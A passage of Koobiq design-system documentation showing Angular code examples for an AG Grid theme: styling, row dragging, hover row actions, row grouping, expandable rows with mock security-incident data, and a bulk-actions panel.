        this.popoverTriggerRef.show(0);
    }

    protected enable(popoverTriggerRef: KbqPopoverTrigger): void {
        this.popoverTriggerRef = popoverTriggerRef;
        this.popoverTriggerRef.header = 'Enable protection?';
        this.popoverTriggerRef.show(0);
    }

    protected cancel(): void {
        this.popoverTriggerRef?.hide(0);
        this.popoverTriggerRef = null;
    }

    protected save(): void {
        this.popoverTriggerRef?.hide(0);
        this.popoverTriggerRef = null;
    }
}
```

## AG grid

- Page: https://koobiq.io/en/components/ag-grid/overview

AG Grid is designed for working with large tables. The component supports sorting, virtual scrolling, resizing, and reordering of columns. It is based on the library [ag-grid-angular](https://www.ag-grid.com/angular-data-grid/).

**Example: AG Grid overview** (`ag-grid-overview`)

```ts ag-grid-overview-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqAgGridThemeModule } from '@koobiq/ag-grid-angular-theme';
import { KbqLink } from '@koobiq/components/link';
import { AgGridModule, ICellRendererAngularComp } from 'ag-grid-angular';
import {
    AllCommunityModule,
    ColDef,
    FirstDataRenderedEvent,
    ICellRendererParams,
    ModuleRegistry,
    RowSelectionOptions,
    SelectionColumnDef
} from 'ag-grid-community';

ModuleRegistry.registerModules([AllCommunityModule]);

@Component({
    selector: 'example-link-cell-renderer',
    imports: [KbqLink],
    template: `
        <a kbqLink href="https://koobiq.io/en/components/ag-grid" target="_blank">{{ cellValue }}</a>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class ExampleLinkCellRenderer implements ICellRendererAngularComp {
    cellValue: string;

    agInit(params: ICellRendererParams): void {
        this.cellValue = this.getValueToDisplay(params);
    }

    refresh(params: ICellRendererParams): boolean {
        this.cellValue = this.getValueToDisplay(params);

        return true;
    }

    private getValueToDisplay(params: ICellRendererParams): string {
        return params.valueFormatted ? params.valueFormatted : params.value;
    }
}

@Component({
    selector: 'ag-grid-overview-example',
    imports: [AgGridModule, KbqAgGridThemeModule],
    template: `
        <ag-grid-angular
            kbqAgGridTheme
            kbqAgGridSelectRowsByShiftClick
            kbqAgGridThemeDisableCellFocusStyles
            kbqAgGridToNextRowByTab
            kbqAgGridSelectRowsByShiftArrow
            kbqAgGridSelectRowsByCtrlClick
            [alwaysMultiSort]="true"
            [rowSelection]="rowSelection"
            [selectionColumnDef]="selectionColumnDef"
            [style.height.px]="300"
            [columnDefs]="columnDefs"
            [defaultColDef]="defaultColDef"
            [rowData]="rowData"
            (firstDataRendered)="onFirstDataRendered($event)"
        />
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class AgGridOverviewExample {
    protected readonly defaultColDef: ColDef = {
        sortable: true,
        resizable: true,
        width: 140
    };

    protected readonly selectionColumnDef: SelectionColumnDef = {
        pinned: 'left'
    };

    protected readonly rowSelection: RowSelectionOptions = {
        mode: 'multiRow',
        headerCheckbox: true,
        checkboxes: true,
        hideDisabledCheckboxes: false
    };

    protected readonly columnDefs: ColDef[] = [
        {
            field: 'column0',
            headerName: 'Link',
            cellRenderer: ExampleLinkCellRenderer,
            pinned: true
        },
        {
            field: 'column1',
            headerName: 'Text'
        },
        {
            field: 'column2',
            headerName: 'Text'
        },
        {
            field: 'column3',
            headerName: 'Text'
        },
        {
            field: 'column4',
            headerName: 'Text'
        },
        {
            field: 'column5',
            headerName: 'Text'
        },
        {
            field: 'column6',
            headerName: 'Text'
        },
        {
            field: 'column7',
            headerName: 'Text'
        },
        {
            field: 'column8',
            headerName: 'Text'
        },
        {
            field: 'column9',
            headerName: 'Text'
        }
    ];

    protected readonly rowData = Array.from({ length: 100 }, (_, index) => ({
        column0: 'Link ' + index,
        column1: 'Text ' + index,
        column2: 'Text ' + index,
        column3: 'Text ' + index,
        column4: 'Text ' + index,
        column5: 'Text ' + index,
        column6: 'Text ' + index,
        column7: 'Text ' + index,
        column8: 'Text ' + index,
        column9: 'Text ' + index
    }));

    protected onFirstDataRendered({ api }: FirstDataRenderedEvent): void {
        api.forEachNode((node) => {
            if (node.rowIndex === 3 || node.rowIndex === 4) {
                node.setSelected(true);
            }
        });
    }
}
```

### Table styling

To maintain a consistent table style across projects, a theme [`@koobiq/ag-grid-angular-theme`](https://github.com/koobiq/data-grid/blob/main/packages/ag-grid-angular-theme/README.md) has been created. It includes ready-to-use styles that align with the design system. The theme supports the core features of AG Grid and simplifies table appearance customization.

#### Installation

Install the following packages:

```bash
npm install @koobiq/ag-grid-angular-theme@^34 ag-grid-community@^34 ag-grid-angular@^34
```

#### Applying the theme

Import the theme into the main styles file `styles.scss`:

```scss
@use '@koobiq/ag-grid-angular-theme';
```

Apply the theme to `<ag-grid-angular>` in the template:

```ts
import { KbqAgGridThemeModule } from '@koobiq/ag-grid-angular-theme';
import { AgGridModule } from 'ag-grid-angular';

@Component({
    imports: [AgGridModule, KbqAgGridThemeModule],
    template: `<ag-grid-angular kbqAgGridTheme />`
})
```

The full documentation for using the theme is available [in the GitHub repository](https://github.com/koobiq/data-grid/blob/main/packages/ag-grid-angular-theme/README.md).

### Disabling cell focus styles

To disable the focus styles for table cells, add the `kbqAgGridThemeDisableCellFocusStyles` attribute to `<ag-grid-angular>`:

```html
<ag-grid-angular kbqAgGridTheme kbqAgGridThemeDisableCellFocusStyles />
```

### Row dragging

**Example: AG Grid with row dragging** (`ag-grid-row-dragging`)

```ts ag-grid-row-dragging-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqAgGridThemeModule } from '@koobiq/ag-grid-angular-theme';
import { AgGridModule } from 'ag-grid-angular';
import {
    AllCommunityModule,
    ColDef,
    FirstDataRenderedEvent,
    ModuleRegistry,
    RowSelectionOptions
} from 'ag-grid-community';

ModuleRegistry.registerModules([AllCommunityModule]);

@Component({
    selector: 'ag-grid-row-dragging-example',
    imports: [AgGridModule, KbqAgGridThemeModule],
    template: `
        <ag-grid-angular
            kbqAgGridTheme
            kbqAgGridThemeDisableCellFocusStyles
            kbqAgGridSelectRowsByShiftClick
            kbqAgGridToNextRowByTab
            kbqAgGridSelectRowsByShiftArrow
            kbqAgGridSelectRowsByCtrlClick
            [alwaysMultiSort]="true"
            [rowSelection]="rowSelection"
            [style.height.px]="300"
            [columnDefs]="columnDefs"
            [defaultColDef]="defaultColDef"
            [rowData]="rowData"
            [rowDragManaged]="true"
            [rowDragMultiRow]="true"
            [suppressMoveWhenRowDragging]="true"
            (firstDataRendered)="onFirstDataRendered($event)"
        />
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class AgGridRowDraggingExample {
    protected readonly defaultColDef: ColDef = {
        sortable: true,
        resizable: true,
        width: 140
    };

    protected readonly rowSelection: RowSelectionOptions = {
        mode: 'multiRow',
        headerCheckbox: true,
        checkboxes: true,
        hideDisabledCheckboxes: false
    };

    protected readonly columnDefs: ColDef[] = [
        {
            field: 'column0',
            headerName: 'Project name',
            width: 180,
            rowDrag: true
        },
        {
            field: 'column1',
            headerName: 'Text'
        },
        {
            field: 'column2',
            headerName: 'Text'
        },
        {
            field: 'column3',
            headerName: 'Text'
        },
        {
            field: 'column4',
            headerName: 'Text'
        },
        {
            field: 'column5',
            headerName: 'Text'
        },
        {
            field: 'column6',
            headerName: 'Text'
        },
        {
            field: 'column7',
            headerName: 'Text'
        },
        {
            field: 'column8',
            headerName: 'Text'
        },
        {
            field: 'column9',
            headerName: 'Text'
        }
    ];

    protected readonly rowData = Array.from({ length: 100 }, (_, index) => ({
        column0: 'Project name ' + index,
        column1: 'Text ' + index,
        column2: 'Text ' + index,
        column3: 'Text ' + index,
        column4: 'Text ' + index,
        column5: 'Text ' + index,
        column6: 'Text ' + index,
        column7: 'Text ' + index,
        column8: 'Text ' + index,
        column9: 'Text ' + index
    }));

    protected onFirstDataRendered({ api }: FirstDataRenderedEvent): void {
        api.forEachNode((node) => {
            if (node.rowIndex === 3 || node.rowIndex === 4) {
                node.setSelected(true);
            }
        });
    }
}
```

### Row actions

The `kbqAgGridRowActions` directive adds an action panel that appears when hovering over a row.

**Example: AG Grid with \`KbqAgGridRowActions\` directive** (`ag-grid-row-actions`)

```ts ag-grid-row-actions-example.ts
import { Clipboard } from '@angular/cdk/clipboard';
import { ChangeDetectionStrategy, Component, inject } from '@angular/core';
import { KBQ_AG_GRID_ROW_ACTIONS_PARAMS, KbqAgGridThemeModule } from '@koobiq/ag-grid-angular-theme';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqToastService } from '@koobiq/components/toast';
import { AgGridModule } from 'ag-grid-angular';
import {
    AllCommunityModule,
    ColDef,
    FirstDataRenderedEvent,
    ModuleRegistry,
    RowSelectionOptions
} from 'ag-grid-community';

ModuleRegistry.registerModules([AllCommunityModule]);

@Component({
    selector: 'example-row-actions',
    imports: [KbqIconModule],
    template: `
        <i kbq-icon-button="kbq-square-multiple-o_16" color="contrast-fade" (click)="copy()"></i>
        <i kbq-icon-button="kbq-box-archive_16" color="contrast-fade" (click)="delete()"></i>
    `,
    styles: `
        :host {
            display: flex;
            align-items: center;
            justify-content: flex-end;
            gap: var(--kbq-size-s);
            height: 100%;
            width: 200px;
            padding: 0 var(--kbq-size-s);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class ExampleRowActionsComponent {
    private readonly clipboard = inject(Clipboard);
    private readonly toast = inject(KbqToastService);
    private readonly params = inject(KBQ_AG_GRID_ROW_ACTIONS_PARAMS);

    protected copy(): void {
        this.clipboard.copy(JSON.stringify(this.params.data));
        this.toast.show({ title: `Row #${this.params.rowIndex} copied` });
    }

    protected delete(): void {
        this.params.api.applyTransaction({ remove: [this.params.data] });
        this.toast.show({ title: `Row #${this.params.rowIndex} archived` });
    }
}

@Component({
    selector: 'ag-grid-row-actions-example',
    imports: [AgGridModule, KbqAgGridThemeModule],
    template: `
        <ag-grid-angular
            kbqAgGridTheme
            kbqAgGridThemeDisableCellFocusStyles
            kbqAgGridSelectRowsByShiftClick
            kbqAgGridToNextRowByTab
            kbqAgGridSelectRowsByShiftArrow
            kbqAgGridSelectRowsByCtrlClick
            [alwaysMultiSort]="true"
            [kbqAgGridRowActions]="rowActionsComponent"
            [rowSelection]="rowSelection"
            [style.height.px]="300"
            [columnDefs]="columnDefs"
            [defaultColDef]="defaultColDef"
            [rowData]="rowData"
            (firstDataRendered)="onFirstDataRendered($event)"
        />
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class AgGridRowActionsExample {
    protected readonly rowActionsComponent = ExampleRowActionsComponent;

    protected readonly defaultColDef: ColDef = {
        sortable: true,
        resizable: true,
        width: 140
    };

    protected readonly rowSelection: RowSelectionOptions = {
        mode: 'multiRow',
        headerCheckbox: true,
        checkboxes: true,
        hideDisabledCheckboxes: false
    };

    protected readonly columnDefs: ColDef[] = [
        {
            field: 'column0',
            headerName: 'Project name',
            width: 180
        },
        {
            field: 'column1',
            headerName: 'Text'
        },
        {
            field: 'column2',
            headerName: 'Text'
        },
        {
            field: 'column3',
            headerName: 'Text'
        },
        {
            field: 'column4',
            headerName: 'Text'
        },
        {
            field: 'column5',
            headerName: 'Text'
        },
        {
            field: 'column6',
            headerName: 'Text'
        },
        {
            field: 'column7',
            headerName: 'Text'
        },
        {
            field: 'column8',
            headerName: 'Text'
        },
        {
            field: 'column9',
            headerName: 'Text'
        }
    ];

    protected readonly rowData = Array.from({ length: 100 }, (_, index) => ({
        column0: 'Project name ' + index,
        column1: 'Text ' + index,
        column2: 'Text ' + index,
        column3: 'Text ' + index,
        column4: 'Text ' + index,
        column5: 'Text ' + index,
        column6: 'Text ' + index,
        column7: 'Text ' + index,
        column8: 'Text ' + index,
        column9: 'Text ' + index
    }));

    protected onFirstDataRendered({ api }: FirstDataRenderedEvent): void {
        api.forEachNode((node) => {
            if (node.rowIndex === 3 || node.rowIndex === 4) {
                node.setSelected(true);
            }
        });
    }
}
```

### Row grouping

The `kbqAgGridRowGroup` directive implements client-side row grouping. Attach it to `ag-grid-angular`, supply raw data via `[kbqAgGridRowGroupRowData]` instead of `[rowData]`, and set the grouped columns via `[(kbqAgGridRowGroupCols)]`.

Collapsed/expanded group state and row selection can each be persisted independently by setting `kbqAgGridRowGroupCollapsedState` and `kbqAgGridRowGroupSelectionState` to a unique key, connecting store providers via `kbqAgGridRowGroupCollapsedStateStoreProvider` and `kbqAgGridRowGroupSelectionStateStoreProvider`.

**Example: AG Grid with \`KbqAgGridRowGroup\` directive** (`ag-grid-row-group`)

```ts ag-grid-row-group-example.ts
import { ChangeDetectionStrategy, Component, model } from '@angular/core';
import {
    KbqAgGridRowGroup,
    KbqAgGridRowGroupCollapsedStateLocalStorageStore,
    kbqAgGridRowGroupCollapsedStateStoreProvider,
    kbqAgGridRowGroupColOptionsProvider,
    KbqAgGridRowGroupSelectionStateLocalStorageStore,
    kbqAgGridRowGroupSelectionStateStoreProvider,
    KbqAgGridThemeModule
} from '@koobiq/ag-grid-angular-theme';
import { KbqButtonModule } from '@koobiq/components/button';
import { AgGridModule } from 'ag-grid-angular';
import { AllCommunityModule, ColDef, ModuleRegistry, RowSelectionOptions } from 'ag-grid-community';

ModuleRegistry.registerModules([AllCommunityModule]);

const CATEGORIES = ['BruteForce', 'Complex Attack', 'DDoS', 'HIPS alert', 'IDS/IPS Alert', 'XSS'];
const SEVERITIES = ['Low', 'Medium', 'High', 'Critical'];

@Component({
    selector: 'ag-grid-row-group-example',
    imports: [AgGridModule, KbqAgGridThemeModule, KbqButtonModule],
    template: `
        <div class="ag-grid-row-group-example-actions">
            <button type="button" kbq-button (click)="rowGroup.collapseAll()">Clear collapsed state</button>
            <button type="button" kbq-button (click)="clearSelectionState(rowGroup)">Clear selection state</button>
        </div>

        <ag-grid-angular
            #rowGroup="kbqAgGridRowGroup"
            kbqAgGridTheme
            kbqAgGridThemeDisableCellFocusStyles
            kbqAgGridRowGroup
            kbqAgGridRowGroupCollapsedState="example-ag-grid-row-group-collapsed-state"
            kbqAgGridRowGroupSelectionState="example-ag-grid-row-group-selection-state"
            [kbqAgGridRowGroupRowData]="rowData"
            [kbqAgGridRowGroupRowId]="rowId"
            [rowSelection]="rowSelection"
            [columnDefs]="columnDefs"
            [defaultColDef]="defaultColDef"
            [style.height.px]="300"
            [style.width.%]="100"
            [(kbqAgGridRowGroupCols)]="groupCols"
        />
    `,
    styles: `
        :host {
            display: flex;
            flex-direction: column;
            align-items: center;
            gap: var(--kbq-size-m);
        }

        .ag-grid-row-group-example-actions {
            display: flex;
            gap: var(--kbq-size-m);
        }
    `,
    providers: [
        kbqAgGridRowGroupCollapsedStateStoreProvider(KbqAgGridRowGroupCollapsedStateLocalStorageStore),
        kbqAgGridRowGroupSelectionStateStoreProvider(KbqAgGridRowGroupSelectionStateLocalStorageStore),
        kbqAgGridRowGroupColOptionsProvider({ headerName: 'Group' })
    ],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class AgGridRowGroupExample {
    protected readonly groupCols = model(['category', 'severity']);
    protected readonly rowId = (row: Record<string, unknown>): string => row.id as string;
    protected readonly defaultColDef: ColDef = {
        sortable: true,
        resizable: true,
        width: 140
    };
    protected readonly rowSelection: RowSelectionOptions = {
        mode: 'multiRow',
        headerCheckbox: true,
        checkboxes: true
    };
    protected readonly columnDefs: ColDef[] = [
        { field: 'column0', headerName: 'Column 0', width: 130 },
        { field: 'category', headerName: 'Category', width: 130 },
        { field: 'severity', headerName: 'Severity', width: 130 },
        { field: 'column3', headerName: 'Column 3', width: 130 },
        { field: 'column4', headerName: 'Column 4', width: 130 },
        { field: 'column5', headerName: 'Column 5', width: 130 },
        { field: 'column6', headerName: 'Column 6', width: 130 }
    ];

    protected readonly rowData = Array.from({ length: 24 }, (_, index) => ({
        id: String(index),
        column0: 'Text ' + index,
        category: CATEGORIES[index % CATEGORIES.length],
        severity: SEVERITIES[index % SEVERITIES.length],
        column3: 'Text ' + index,
        column4: 'Text ' + index,
        column5: 'Text ' + index,
        column6: 'Text ' + index
    }));

    /** Deselects every data row, including rows hidden inside a collapsed group. */
    protected clearSelectionState(rowGroup: KbqAgGridRowGroup): void {
        for (const row of this.rowData) {
            rowGroup.setRowSelected(row.id, false);
        }
    }
}
```

### Expandable rows

The `kbqAgGridRowDetail` directive expands a row to show a custom component below it. Pass the component via `kbqAgGridRowDetailComponent` and set `getRowId`. The component receives the row data and the `collapse()` method through the `KBQ_AG_GRID_ROW_DETAIL_PARAMS` token.

The behavior of expanded rows is configured with the following inputs:

| Input                            | Description                                                  |
| -------------------------------- | ------------------------------------------------------------ |
| `kbqAgGridRowDetailSingleExpand` | Keeps only one row expanded                                  |
| `kbqAgGridRowDetailFilled`       | Fills the expanded row with a background                     |
| `kbqAgGridRowDetailSticky`       | Keeps the expanded part in place during horizontal scrolling |

The directive methods are available via `#rowDetail="kbqAgGridRowDetail"`:

| Method          | Description                  |
| --------------- | ---------------------------- |
| `expand(id)`    | Expands the row              |
| `collapse(id)`  | Collapses the row            |
| `toggle(id)`    | Expands or collapses the row |
| `collapseAll()` | Collapses all rows           |

In the example, a click on a cell and Enter on a row call `toggle()`. The expanded part is not a cell, so clicking it does not collapse the row, and clicking the selection checkbox does not expand it.

The screen reader labels of the expand toggle are Russian by default. To switch the language, provide a labels provider:

```ts
providers: [kbqAgGridRowDetailLabelsProvider(KBQ_AG_GRID_ROW_DETAIL_LABELS_EN)];
```

**Example: AG Grid with \`KbqAgGridRowDetail\` directive** (`ag-grid-row-detail`)

```ts ag-grid-row-detail-example.ts
import { ChangeDetectionStrategy, Component, inject, signal } from '@angular/core';
import { FormsModule } from '@angular/forms';
import {
    KBQ_AG_GRID_ROW_DETAIL_LABELS_EN,
    KBQ_AG_GRID_ROW_DETAIL_PARAMS,
    KbqAgGridRowDetail,
    kbqAgGridRowDetailLabelsProvider,
    KbqAgGridThemeModule
} from '@koobiq/ag-grid-angular-theme';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqDd, KbqDl, KbqDt } from '@koobiq/components/dl';
import { KbqToggleModule } from '@koobiq/components/toggle';
import { AgGridModule } from 'ag-grid-angular';
import {
    AllCommunityModule,
    CellClickedEvent,
    CellKeyDownEvent,
    ColDef,
    FullWidthCellKeyDownEvent,
    GetRowIdFunc,
    ModuleRegistry,
    RowSelectionOptions,
    SELECTION_COLUMN_ID
} from 'ag-grid-community';

ModuleRegistry.registerModules([AllCommunityModule]);

type ExampleRowData = {
    id: string;
    event: string;
    severity: string;
    status: string;
    sourceIp: string;
    destinationIp: string;
    protocol: string;
    port: string;
    technique: string;
    host: string;
    detector: string;
    description: string;
};

@Component({
    selector: 'example-row-detail',
    imports: [KbqButtonModule, KbqDl, KbqDt, KbqDd],
    template: `
        <div class="example-row-detail-card">
            <kbq-dl>
                <kbq-dt>Description</kbq-dt>
                <kbq-dd>{{ data.description }}</kbq-dd>

                <kbq-dt>Affected host</kbq-dt>
                <kbq-dd>{{ data.host }}</kbq-dd>

                <kbq-dt>Detected by</kbq-dt>
                <kbq-dd>{{ data.detector }}</kbq-dd>
            </kbq-dl>

            <button kbq-button type="button" (click)="params.collapse()">Collapse</button>
        </div>
    `,
    styles: `
        :host {
            display: block;
            padding: var(--kbq-size-xs) var(--kbq-size-m) var(--kbq-size-l);
            /* The expanded part sits inside the row, which AG Grid renders with white-space: nowrap. */
            white-space: normal;
        }

        .example-row-detail-card {
            display: flex;
            flex-direction: column;
            align-items: flex-start;
            gap: var(--kbq-size-m);
            padding: var(--kbq-size-m);
            border: 1px solid var(--kbq-line-contrast-less);
            border-radius: var(--kbq-size-border-radius);
            background: var(--kbq-background-card);
        }

        kbq-dl {
            align-self: stretch;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class ExampleRowDetailComponent {
    protected readonly params = inject(KBQ_AG_GRID_ROW_DETAIL_PARAMS);
    protected readonly data = this.params.data as ExampleRowData;
}

@Component({
    selector: 'ag-grid-row-detail-example',
    imports: [AgGridModule, KbqAgGridThemeModule, FormsModule, KbqToggleModule],
    template: `
        <div class="example-row-detail-options">
            <kbq-toggle [(ngModel)]="multipleExpand">Expand multiple rows</kbq-toggle>
            <kbq-toggle [(ngModel)]="filled">Fill expanded rows</kbq-toggle>
        </div>

        <ag-grid-angular
            #rowDetail="kbqAgGridRowDetail"
            kbqAgGridTheme
            kbqAgGridThemeDisableCellFocusStyles
            kbqAgGridToNextRowByTab
            kbqAgGridRowDetail
            [alwaysMultiSort]="true"
            [kbqAgGridRowDetailComponent]="rowDetailComponent"
            [kbqAgGridRowDetailSingleExpand]="!multipleExpand()"
            [kbqAgGridRowDetailFilled]="filled()"
            [getRowId]="getRowId"
            [rowSelection]="rowSelection"
            [columnDefs]="columnDefs"
            [rowData]="rowData"
            (cellClicked)="onCellClicked($event, rowDetail)"
            (cellKeyDown)="onCellKeyDown($event, rowDetail)"
        />
    `,
    styles: `
        :host {
            display: flex;
            flex-direction: column;
            align-items: center;
            gap: var(--kbq-size-xl);
        }

        .example-row-detail-options {
            display: flex;
            gap: var(--kbq-size-xl);
        }

        ag-grid-angular {
            height: 400px;
            width: 100%;
        }
    `,
    providers: [kbqAgGridRowDetailLabelsProvider(KBQ_AG_GRID_ROW_DETAIL_LABELS_EN)],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class AgGridRowDetailExample {
    protected readonly multipleExpand = signal(false);
    protected readonly filled = signal(false);

    protected readonly rowDetailComponent = ExampleRowDetailComponent;

    protected readonly getRowId: GetRowIdFunc<ExampleRowData> = ({ data }) => data.id;

    protected readonly rowSelection: RowSelectionOptions = {
        mode: 'multiRow',
        headerCheckbox: true,
        checkboxes: true
    };

    // Wider than the grid, so that scrolling it horizontally shows the expanded part staying in place.
    protected readonly columnDefs: ColDef<ExampleRowData>[] = [
        { field: 'event', headerName: 'Event', width: 200 },
        { field: 'severity', headerName: 'Severity', width: 110 },
        { field: 'status', headerName: 'Status', width: 120 },
        { field: 'sourceIp', headerName: 'Source IP', width: 140 },
        { field: 'destinationIp', headerName: 'Destination IP', width: 140 },
        { field: 'protocol', headerName: 'Protocol', width: 110 },
        { field: 'port', headerName: 'Port', width: 90 },
        { field: 'technique', headerName: 'MITRE technique', width: 150 }
    ];

    protected readonly rowData: ExampleRowData[] = [
        {
            id: 'INC-1001',
            event: 'Brute force',
            severity: 'High',
            status: 'In progress',
            sourceIp: '203.0.113.24',
            destinationIp: '10.0.1.10',
            protocol: 'SSH',
            port: '22',
            technique: 'T1110',
            host: 'srv-01',
            detector: 'IDS',
            description: '15 failed SSH logins within two minutes, followed by a successful one.'
        },
        {
            id: 'INC-1002',
            event: 'Port scan',
            severity: 'Low',
            status: 'Resolved',
            sourceIp: '198.51.100.7',
            destinationIp: '10.0.0.1',
            protocol: 'TCP',
            port: '1-1024',
            technique: 'T1046',
            host: 'gw-01',
            detector: 'Firewall',
            description: 'The source probed 1,024 TCP ports in 40 seconds.'
        },
        {
            id: 'INC-1003',
            event: 'Phishing email',
            severity: 'Medium',
            status: 'Resolved',
            sourceIp: '192.0.2.15',
            destinationIp: '10.0.2.5',
            protocol: 'SMTP',
            port: '25',
            technique: 'T1566.001',
            host: 'mail-01',
            detector: 'Mail gateway',
            description: 'An email with a spoofed sender and a macro-enabled attachment reached 12 mailboxes.'
        },
        {
            id: 'INC-1004',
            event: 'Malware detected',
            severity: 'Critical',
            status: 'In progress',
            sourceIp: '203.0.113.91',
            destinationIp: '10.0.3.12',
            protocol: 'HTTPS',
            port: '443',
            technique: 'T1204.002',
            host: 'ws-12',
            detector: 'EDR',
            description: 'The antivirus quarantined a trojan that a browser had downloaded.'
        },
        {
            id: 'INC-1005',
            event: 'DNS tunneling',
            severity: 'High',
            status: 'New',
            sourceIp: '198.51.100.33',
            destinationIp: '10.0.0.53',
            protocol: 'DNS',
            port: '53',
            technique: 'T1071.004',
            host: 'dns-01',
            detector: 'DNS monitoring',
            description: 'Over 3,000 long random subdomains of a single domain were resolved within an hour.'
        },
        {
            id: 'INC-1006',
            event: 'Privilege escalation',
            severity: 'Critical',
            status: 'New',
            sourceIp: '192.0.2.48',
            destinationIp: '10.0.0.10',
            protocol: 'LDAP',
            port: '389',
            technique: 'T1098',
            host: 'dc-01',
            detector: 'SIEM',
            description: 'A user was added to the Domain Admins group outside the change window.'
        },
        {
            id: 'INC-1007',
            event: 'Data exfiltration',
            severity: 'Critical',
            status: 'In progress',
            sourceIp: '10.0.4.20',
            destinationIp: '203.0.113.150',
            protocol: 'HTTPS',
            port: '443',
            technique: 'T1567',
            host: 'db-01',
            detector: 'DLP',
            description: '4.2 GB were uploaded to an unknown external host outside business hours.'
        },
        {
            id: 'INC-1008',
            event: 'Obfuscated script',
            severity: 'Medium',
            status: 'New',
            sourceIp: '198.51.100.62',
            destinationIp: '10.0.3.3',
            protocol: 'WinRM',
            port: '5986',
            technique: 'T1027',
            host: 'ws-03',
            detector: 'EDR',
            description: 'PowerShell ran a Base64-encoded command that disables script logging.'
        }
    ];

    /**
     * Clicking a cell expands and collapses its row. The expanded part is not a cell, so clicking
     * inside it never reaches this handler.
     */
    protected onCellClicked({ node, column }: CellClickedEvent, rowDetail: KbqAgGridRowDetail): void {
        // Leave the selection checkbox to the selection column itself.
        if (!node.id || column.getColId() === SELECTION_COLUMN_ID) return;

        rowDetail.toggle(node.id);
    }

    protected onCellKeyDown(
        { event, node }: CellKeyDownEvent | FullWidthCellKeyDownEvent,
        rowDetail: KbqAgGridRowDetail
    ): void {
        if (!(event instanceof KeyboardEvent) || event.key !== 'Enter' || !node.id) return;

        // The expand toggle is a button and handles Enter itself.
        if (event.target instanceof HTMLButtonElement) return;

        rowDetail.toggle(node.id);
    }
}
```

### Actions panel for selected rows

The [Actions panel](https://koobiq.io/en/components/actions-panel.md) component allows you to perform bulk actions on rows selected in the table. To prevent the panel from overlapping the last rows of the table, a `padding-bottom` is added to `.ag-body-viewport` when it opens.

**Example: Ag-grid and actions-panel example** (`ag-grid-and-actions-panel`)

```ts ag-grid-and-actions-panel-example.ts
import {
    ChangeDetectionStrategy,
    Component,
    DestroyRef,
    effect,
    ElementRef,
    inject,
    input,
    output,
    Signal,
    signal,
    viewChild
} from '@angular/core';
import { takeUntilDestroyed } from '@angular/core/rxjs-interop';
import { KbqAgGridThemeModule } from '@koobiq/ag-grid-angular-theme';
import { KBQ_ACTIONS_PANEL_DATA, KbqActionsPanel, KbqActionsPanelRef } from '@koobiq/components/actions-panel';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqDividerModule } from '@koobiq/components/divider';
import { KbqDropdownModule } from '@koobiq/components/dropdown';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqOverflowItemsModule } from '@koobiq/components/overflow-items';
import { KbqToastService } from '@koobiq/components/toast';
import { AgGridModule } from 'ag-grid-angular';
import {
    AllCommunityModule,
    ColDef,
    FirstDataRenderedEvent,
    GridApi,
    ModuleRegistry,
    RowSelectionOptions,
    SelectionChangedEvent,
    SelectionColumnDef
} from 'ag-grid-community';

ModuleRegistry.registerModules([AllCommunityModule]);

/** Actions panel height with margins — kept in sync with the `padding-bottom: 72px` in ExampleGrid's styles. */
const ACTIONS_PANEL_HEIGHT = 72;

type ExampleAction = {
    id: string;
    icon: string;
    divider?: boolean;
};

type ExampleTableItem = unknown;

@Component({
    selector: 'example-grid',
    imports: [AgGridModule, KbqAgGridThemeModule],
    template: `
        <ag-grid-angular
            kbqAgGridTheme
            kbqAgGridSelectRowsByShiftClick
            kbqAgGridThemeDisableCellFocusStyles
            kbqAgGridToNextRowByTab
            kbqAgGridSelectRowsByShiftArrow
            kbqAgGridSelectRowsByCtrlClick
            [alwaysMultiSort]="true"
            [rowSelection]="rowSelection"
            [selectionColumnDef]="selectionColumnDef"
            [columnDefs]="columnDefs"
            [defaultColDef]="defaultColDef"
            [rowData]="rowData"
            (firstDataRendered)="onFirstDataRendered($event)"
            (selectionChanged)="onSelectionChanged($event)"
        />
    `,
    styles: `
        :host {
            display: flex;
            height: 300px;
            width: 100%;
        }

        ag-grid-angular {
            height: 100%;
            width: 100%;
        }

        /*
         * Reserve space for the actions panel only while it's open, animating in sync with its
         * own slide transition instead of a permanent gap that's still there once the panel is
         * closed. Duration/curve values below are copied from KBQ_ACTIONS_PANEL_CONTAINER_ANIMATION
         * (packages/components/actions-panel/actions-panel-container.ts) — not importable here since
         * that trigger is defined for the panel's own 'state' animation, not exposed as CSS. Keep in
         * sync if that trigger's durations/curve ever change.
         */
        :host ::ng-deep .ag-body-viewport {
            padding-bottom: 0;
            transition: padding-bottom 150ms cubic-bezier(0.4, 0, 0.2, 1);
        }

        :host(.example-grid_actions-panel-opened) ::ng-deep .ag-body-viewport {
            /* see ACTIONS_PANEL_HEIGHT */
            padding-bottom: 72px;
            transition: padding-bottom 125ms cubic-bezier(0.4, 0, 0.2, 1);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        '[class.example-grid_actions-panel-opened]': 'panelOpened()'
    }
})
export class ExampleGrid {
    readonly panelOpened = input(false);
    private readonly elementRef = inject<ElementRef<HTMLElement>>(ElementRef);
    private api: GridApi<ExampleTableItem> | null = null;
    protected readonly defaultColDef: ColDef = {
        sortable: true,
        resizable: true,
        width: 140
    };
    protected readonly selectionColumnDef: SelectionColumnDef = {
        pinned: 'left'
    };
    protected readonly rowSelection: RowSelectionOptions = {
        mode: 'multiRow',
        headerCheckbox: true,
        checkboxes: true,
        hideDisabledCheckboxes: false
    };
    protected readonly columnDefs: ColDef[] = [
        { field: 'column0', headerName: 'Project name', pinned: true },
        { field: 'column1', headerName: 'Text' },
        { field: 'column2', headerName: 'Text' },
        { field: 'column3', headerName: 'Text' },
        { field: 'column4', headerName: 'Text' }
    ];
    protected readonly rowData = Array.from({ length: 33 }, (_, index) => ({
        column0: 'Project name ' + index,
        column1: 'Text ' + index,
        column2: 'Text ' + index,
        column3: 'Text ' + index,
